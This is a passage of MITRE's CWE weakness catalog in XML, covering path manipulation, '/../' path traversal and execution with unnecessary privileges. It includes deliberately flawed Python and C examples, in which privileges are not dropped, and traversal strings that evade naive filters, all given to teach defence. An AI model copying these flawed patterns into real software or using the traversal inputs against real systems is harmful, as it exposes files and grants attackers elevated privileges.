				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not throw undeclared checked exceptions</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>54</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-24</Modification_Date>
					          <Modification_Comment>Removed C from Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Often Misused: Exception
						Handling</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="249" Name="DEPRECATED: Often Misused: Path Manipulation" Weakness_Abstraction="Variant" Status="Deprecated">
			      <Description>
				        <Description_Summary>This entry has been deprecated because of name confusion and an
					accidental combination of multiple weaknesses. Most of its content has been
					transferred to CWE-785.</Description_Summary>
			      </Description>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry was deprecated for several reasons. The primary reason is
						over-loading of the "path manipulation" term and the description. The
						original description for this entry was the same as that for the "Often
						Misused: File System" item in the original Seven Pernicious Kingdoms paper.
						However, Seven Pernicious Kingdoms also has a "Path Manipulation" phrase
						that is for external control of pathnames (CWE-73), which is a factor in
						symbolic link following and path traversal, neither of which is explicitly
						mentioned in 7PK. Fortify uses the phrase "Often Misused: Path Manipulation"
						for a broader range of problems, generally for issues related to buffer
						management. Given the multiple conflicting uses of this term, there is a
						chance that CWE users may have incorrectly mapped to this entry. </Text>
					          <Text>The second reason for deprecation is an implied combination of multiple
						weaknesses within buffer-handling functions. The focus of this entry has
						generally been on the path-conversion functions and their association with
						buffer overflows. However, some of Fortify's Vulncat entries have the term
						"path manipulation" but describe a non-overflow weakness in which the buffer
						is not guaranteed to contain the entire pathname, i.e., there is information
						truncation (see CWE-222 for a similar concept). A new entry for this
						non-overflow weakness may be created in a future version of CWE.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External" Modification_Importance="Critical">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Described inconsistencies in this entry, which the CWE
						Content Team had already slated for deprecation.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Affected_Resources, Applicable_Platforms,
						Demonstrative_Examples, Description, Maintenance_Notes, Name, Other_Notes,
						Potential_Mitigations, Relationships, Taxonomy_Mappings,
						Time_of_Introduction, Type, White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Often Misused: Path
						Manipulation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="25" Name="Path Traversal: '/../filedir'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					"/../" sequences that can resolve to a location that is outside of that
					directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>Sometimes a program checks for "../" at the beginning of the input, so a
						"/../" can bypass that check.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'/../filedir</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Leading Dot Dot
						Slash - '/../filedir'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="250" Name="Execution with Unnecessary Privileges" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software performs an operation at a privilege level that is
					higher than the minimum level required, which creates new weaknesses or
					amplifies the consequences of other weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>New weaknesses can be exposed because running with extra privileges, such
						as root or Administrator, can disable the normal security checks being
						performed by the operating system or surrounding environment. Other
						pre-existing weaknesses can turn into security vulnerabilities if they occur
						while operating at raised privileges.</Text>
					          <Text>Privilege management functions can behave in some less-than-obvious ways,
						and they have different quirks on different platforms. These inconsistencies
						are particularly pronounced if you are transitioning from one non-root user
						to another. Signal handlers and spawned processes run at the privilege of
						the owning process, so if a process is running as root when a signal fires
						or a sub-process is executed, the signal handler or sub-process will operate
						with root privileges.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>There is a close association with CWE-653 (Insufficient Separation of
						Privileges). CWE-653 is about providing separate components for each
						privilege; CWE-250 is about ensuring that each component has the least
						amount of privileges possible.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>CWE-271, CWE-272, and CWE-250 are all closely related and possibly
						overlapping. CWE-271 is probably better suited as a category. Both CWE-272
						and CWE-250 are in active use by the community. The "least privilege" phrase
						has multiple interpretations.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Installation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>If an application has this design problem, then it can be easier for the
						developer to make implementation-related errors such as CWE-271 (Privilege
						Dropping / Lowering Errors). In addition, the consequences of Privilege
						Chaining (CWE-268) can become more severe.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker will be able to gain access to any resources that are
							allowed by the extra privileges. Common results include executing code,
							disabling services, and reading restricted data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-11.7">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process and perform a login. Look for
							library functions and system calls that indicate when privileges are
							being raised or dropped. Look for accesses of resources that are
							restricted to normal users.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text>Note that this technique is only useful for privilege issues related
							to system resources. It is not likely to detect application-level
							business rules that are related to privileges, such as if a blog system
							allows a user to delete a blog entry without first checking that the
							user has administrator privileges.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.250.2]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-18">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text> Identify the functionality that requires additional privileges, such
							as access to privileged operating system resources. Wrap and centralize
							this functionality if possible, and isolate the privileged code as much
							as possible from other code [R.250.2]. Raise privileges as late as
							possible, and drop them as soon as possible to avoid CWE-271. Avoid
							weaknesses such as CWE-288 and CWE-420 by protecting all possible
							communication channels that could interact with the privileged code,
							such as a secondary socket that is only intended to be accessed by
							administrators. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform extensive input validation for any privileged code that must
							be exposed to the user and reject anything that does not fit your strict
							requirements.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-19">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When dropping privileges, ensure that they have been dropped
							successfully to avoid CWE-273. As protection mechanisms in the
							environment get stronger, privilege-dropping calls may fail even if it
							seems like they would always succeed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If circumstances force you to run with extra privileges, then
							determine the minimum access level necessary. First identify the
							different permissions that the software and its users will need to
							perform their actions, such as file read and write permissions, network
							socket permissions, and so forth. Then explicitly allow those actions
							while denying all else [R.250.2]. Perform extensive input validation and
							canonicalization to minimize the chances of introducing a separate
							vulnerability. This mitigation is much more prone to error than dropping
							the privileges in the first place.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-37">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Ensure that the software runs properly under the Federal Desktop Core
							Configuration (FDCC) [R.250.4] or an equivalent hardening configuration
							guide, which many organizations use to limit the attack surface and
							potential risk of deployed software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code temporarily raises the program's privileges to allow
						creation of a new user folder.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def makeNewUserDir(username):</Code>
							              <Block>
								                <Code>if invalidUsername(username):</Code>
								                <Block>
									                  <Comment>#avoid CWE-22 and CWE-78</Comment>
									                  <Code>print('Usernames cannot contain invalid
										characters')</Code>
									                  <Code>return False</Code>
								                </Block>
								                <Code>try:</Code>
								                <Block>
									                  <Code>raisePrivileges()</Code>
									                  <Code>os.mkdir('/home/' + username)</Code>
									                  <Code>lowerPrivileges()</Code>
								                </Block>
								                <Code>except OSError:</Code>
								                <Block>
									                  <Code>print('Unable to create new user directory for user:' +
										username)</Code>
									                  <Code>return False</Code>
								                </Block>
								                <Code>return True</Code>
							              </Block>
						            </Block>
						            <Text>While the program only raises its privilege level to create the folder
							and immediately lowers it again, if the call to os.mkdir() throws an
							exception, the call to lowerPrivileges() will not occur. As a result,
							the program is indefinitely operating in a raised privilege state,
							possibly allowing further exploitation to occur.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code calls chroot() to restrict the application to a
						subset of the filesystem below APP_HOME in order to prevent an attacker from
						using the program to gain unauthorized access to files located elsewhere.
						The code then opens a file specified by the user and processes the contents
						of the file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>chroot(APP_HOME);</Code>
							              <Code>chdir("/");</Code>
							              <Code>FILE* data = fopen(argv[1], "r+");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Constraining the process inside the application's home directory
							before opening any files is a valuable security measure. However, the
							absence of a call to setuid() with some non-zero value means the
							application is continuing to operate with unnecessary root privileges.
							Any successful exploit carried out by an attacker against the
							application can now result in a privilege escalation attack because any
							malicious operations will be performed with the privileges of the
							superuser. If the application drops to the privilege level of a non-root
							user, the potential for damage is substantially reduced.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4217</Observed_Example_Reference>
					          <Observed_Example_Description>FTP client program on a certain OS runs with
						setuid privileges and has a buffer overflow. Most clients do not need extra
						privileges, so an overflow is not a vulnerability for those clients.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1877</Observed_Example_Reference>
					          <Observed_Example_Description>Program runs with privileges and calls another
						program with the same privileges, which allows read of arbitrary files.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5159</Observed_Example_Reference>
					          <Observed_Example_Description>OS incorrectly installs a program with setuid
						privileges, allowing users to gain privileges.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4638</Observed_Example_Reference>
					          <Observed_Example_Description>Composite: application running with high
						privileges allows user to specify a restricted file to process, which
						generates a parsing error that leaks the contents of the file.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0162</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not drop privileges before calling
						another program, allowing code execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0368</Observed_Example_Reference>
					          <Observed_Example_Description>setuid root program allows creation of arbitrary
						files through command line argument.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3931</Observed_Example_Reference>
					          <Observed_Example_Description>Installation script installs some programs as
						setuid when they shouldn't be.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.250.1">
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.250.2">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
